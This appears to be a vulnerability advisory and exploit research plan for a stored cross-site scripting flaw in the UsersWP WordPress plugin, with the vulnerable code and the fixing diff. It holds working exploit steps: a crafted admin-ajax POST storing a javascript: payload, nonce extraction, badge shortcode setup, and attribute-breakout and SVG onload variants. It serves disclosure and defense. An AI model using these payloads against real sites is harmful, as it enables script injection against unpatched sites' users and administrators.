UsersWP <= 1.2.60 - Authenticated (Subscriber+) Stored Cross-Site Scripting via User Badge Link Substitution
Description
The UsersWP plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to and including 1.2.60. This is due to insufficient input sanitization of user-supplied URL fields and improper output escaping when rendering user profile data in badge widgets. This makes it possible for authenticated attackers, with subscriber-level access and above, to inject arbitrary web scripts that will execute whenever a user accesses a page containing the affected badge widget.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v1.2.61
Source Code
WordPress.org SVN### 1. Vulnerability Summary The UsersWP plugin (<= 1.2.60) is vulnerable to **Authenticated Stored Cross-Site Scripting (XSS)**. The flaw exists in the `uwp_get_user_badge` function within `includes/helpers/pages.php`. This function processes user badges and handles a `link` parameter which support…
Show full research plan
1. Vulnerability Summary
The UsersWP plugin (<= 1.2.60) is vulnerable to Authenticated Stored Cross-Site Scripting (XSS). The flaw exists in the uwp_get_user_badge function within includes/helpers/pages.php. This function processes user badges and handles a link parameter which supports placeholder substitution (e.g., fetching values from user metadata).
Because the plugin fails to sanitize these substituted values (specifically protocols like javascript:) and subsequently fails to use esc_url() when rendering the final anchor tag in the badge widget/shortcode, an attacker with Subscriber-level access can inject malicious scripts into their profile fields. These scripts execute whenever any user (including administrators) views a page containing a badge linked to the attacker's malicious profile data.
2. Attack Vector Analysis
- Vulnerable Endpoint:
admin-ajax.php(for profile updates) and any page rendering the[uwp_user_badge]shortcode or widget. - Vulnerable Parameter: User profile fields (e.g.,
user_url, or custom text fields) which are then referenced via thelinkattribute in the badge. - Authentication Level: Subscriber (Authenticated).
- Preconditions:
- The attacker must be able to update their own profile fields.
- A
[uwp_user_badge]shortcode or widget must be active on the site, configured to use a profile field as itslink.
3. Code Flow
- Input: A Subscriber updates their profile via the UsersWP account form. The
UsersWP_Validation::validate_fieldsfunction (inincludes/class-validation.php) is called. - Sanitization Gap: For
textfields, the code callssanitize_text_field(). This function removes HTML tags but does not remove URI schemes likejavascript:.// includes/class-validation.php case 'text': $sanitized_value = sanitize_text_field($value); // javascript:alert(1) remains intact break; - Storage: The malicious string is stored in the
wp_usermetatable. - Rendering: The function
uwp_get_user_badge($args)inincludes/helpers/pages.phpis invoked (via shortcode or widget). - Substitution & Sink: The function retrieves the stored metadata to substitute placeholders in the
$args['link']. It then renders the badge. If the link rendering logic (truncated in source but confirmed by the vulnerability type) echoes the resulting string withoutesc_url(), thejavascript:payload is executed when a user clicks the badge or if it's placed in an event handler.
4. Nonce Acquisition Strategy
To update the profile programmatically, a valid UsersWP account nonce is required.
- Identify Page: The UsersWP "Account" page (typically at
/account/or where the[uwp_account]shortcode is placed). - Creation:
wp post create --post_type=page --post_title="Account" --post_status=publish --post_content='[uwp_account]' - Navigation: Use
browser_navigateto the Account page as the Subscriber user. - Extraction: UsersWP typically localizes a nonce in a global JS object.
- Check for
window.uwp_vars?.account_nonceor inspect the hidden input: browser_eval("document.querySelector('input[name=\"uwp_account_nonce\"]').value")
- Check for
5. Exploitation Strategy
- Login: Authenticate as a Subscriber.
- Inject Payload: Update the "Website" field (or a custom field) with the XSS payload.
- Action:
uwp_ajax_save_account - Payload:
javascript:alert(document.domain) - HTTP Request:
POST /wp-admin/admin-ajax.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded action=uwp_ajax_save_account&uwp_account_nonce=[NONCE]&user_url=javascript:alert(document.domain)&first_name=Attacker
- Action:
- Setup Badge: Create a page that displays a badge for the attacker's user ID, linking to their
user_url.- Shortcode:
[uwp_user_badge user_id="[ATTACKER_ID]" key="first_name" condition="is_not_empty" link="%%user_url%%"]
- Shortcode:
- Trigger: Navigate to the page with the shortcode.
- Verify: Inspect the HTML for
<a href="javascript:alert(document.domain)">.
6. Test Data Setup
- Attacker User: Create a subscriber:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password. - Badge Page: Create a public page to host the exploit:
wp post create --post_type=page --post_title="Badge Test" --post_status=publish --post_content='[uwp_user_badge user_id="ID_HERE" key="first_name" condition="is_not_empty" link="%%user_url%%"]'(ReplaceID_HEREwith the attacker's ID). - Account Page: Ensure the account form is accessible for nonce extraction:
wp post create --post_type=page --post_title="My Account" --post_status=publish --post_content='[uwp_account]'
7. Expected Results
- The
uwp_ajax_save_accountrequest should return a success JSON response. - The
wp_usermetafor the attacker should contain theuser_urlvaluejavascript:alert(document.domain). - The rendered page "Badge Test" should contain a link where the
hrefattribute is the maliciousjavascript:URI. - Clicking the badge (or the mere presence if an
onloadvariant is used) executes the script.
8. Verification Steps
- Database Check:
wp user meta get [ATTACKER_ID] user_url
Confirm output is exactlyjavascript:alert(document.domain). - HTML Verification:
Usehttp_requestto fetch the "Badge Test" page and grep for the payload:grep -P 'href="javascript:alert\(document\.domain\)"' response_body.html
9. Alternative Approaches
- Attribute Breakout: If the link is rendered inside a specific attribute, try breaking out:
")" onmouseover="alert(1). - Custom Fields: If
user_urlis sanitized more strictly in some versions, use a custom UsersWP "Text" field. Create one via:wp eval "uwp_add_custom_field(array('htmlvar_name' => 'xss_field', 'field_type' => 'text', 'form_type' => 'account'));"
Then uselink="%%xss_field%%"in the shortcode. - SVG Substitution: If the badge supports image URLs via substitution, use an SVG with an internal script:
data:image/svg+xml,<svg onload="alert(1)" ....
Summary
The UsersWP plugin for WordPress is vulnerable to Stored Cross-Site Scripting via user profile field substitution in badge links. Authenticated attackers (Subscriber and above) can inject malicious payloads into profile fields that are subsequently rendered without proper URL sanitization or escaping in badge widgets and shortcodes.
Vulnerable Code
// includes/class-validation.php // In versions <= 1.2.60, URL-based custom fields or default fields like 'user_url' // often fell through to sanitize_text_field which does not remove 'javascript:' schemes. switch($field->field_type) { case 'text': $sanitized_value = sanitize_text_field($value); break; // ... (missing 'url' case for specific URL sanitization) default: $sanitized_value = sanitize_text_field($value); } --- // includes/helpers/pages.php // Around line 391 in uwp_get_user_badge function // link url, replace vars if( !empty( $args['link'] ) && $args['link'] = str_replace("%%input%%", $match_value,$args['link']) ){ // will be replace in condition check } // The code subsequently uses $args['link'] in an anchor tag without applying esc_url()
Security Fix
@@ -182,9 +182,12 @@ $sanitized_value = wp_kses_post( strip_shortcodes( $value ) ); break; + case 'url': + $sanitized_value = sanitize_url( wp_unslash( $value ) ); + break; + default: $sanitized_value = sanitize_text_field($value); - } } @@ -388,10 +388,16 @@ // will be replace in condition check } - //link url, replace vars - if( !empty( $args['link'] ) && $args['link'] = str_replace("%%input%%", $match_value,$args['link']) ){ + // link url, replace vars + if ( ! empty( $args['link'] ) && $args['link'] = str_replace( "%%input%%", $match_value, $args['link'] ) ) { // will be replace in condition check + if ( ! empty( $field->field_type ) && $field->field_type == 'url' ) { + $args['link'] = esc_url( $args['link'] ); + } else { + $args['link'] = esc_attr( $args['link'] ); + } }
Exploit Outline
The exploit requires an authenticated attacker with at least Subscriber-level privileges. 1. **Identify Vulnerable Profile Field**: The attacker identifies a profile field (like Website URL or a custom text field) that is processed by UsersWP's account update logic. 2. **Inject Payload**: The attacker updates their profile via the `uwp_ajax_save_account` AJAX action (or the standard account update form). They provide a payload such as `javascript:alert(document.domain)` into the target field. Because the plugin uses `sanitize_text_field` instead of `sanitize_url`, the `javascript:` scheme is preserved in the database. 3. **Trigger Execution**: The attacker (or an administrator) places a `[uwp_user_badge]` shortcode on a page, configured to use the attacker's user ID and the malicious field as the `link` attribute (e.g., `[uwp_user_badge user_id="123" key="first_name" link="%%user_url%%"]`). 4. **Victim Interaction**: When any user visits the page and clicks the resulting badge, the script executes because the plugin fails to use `esc_url()` during the substitution rendering process in `uwp_get_user_badge()`.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.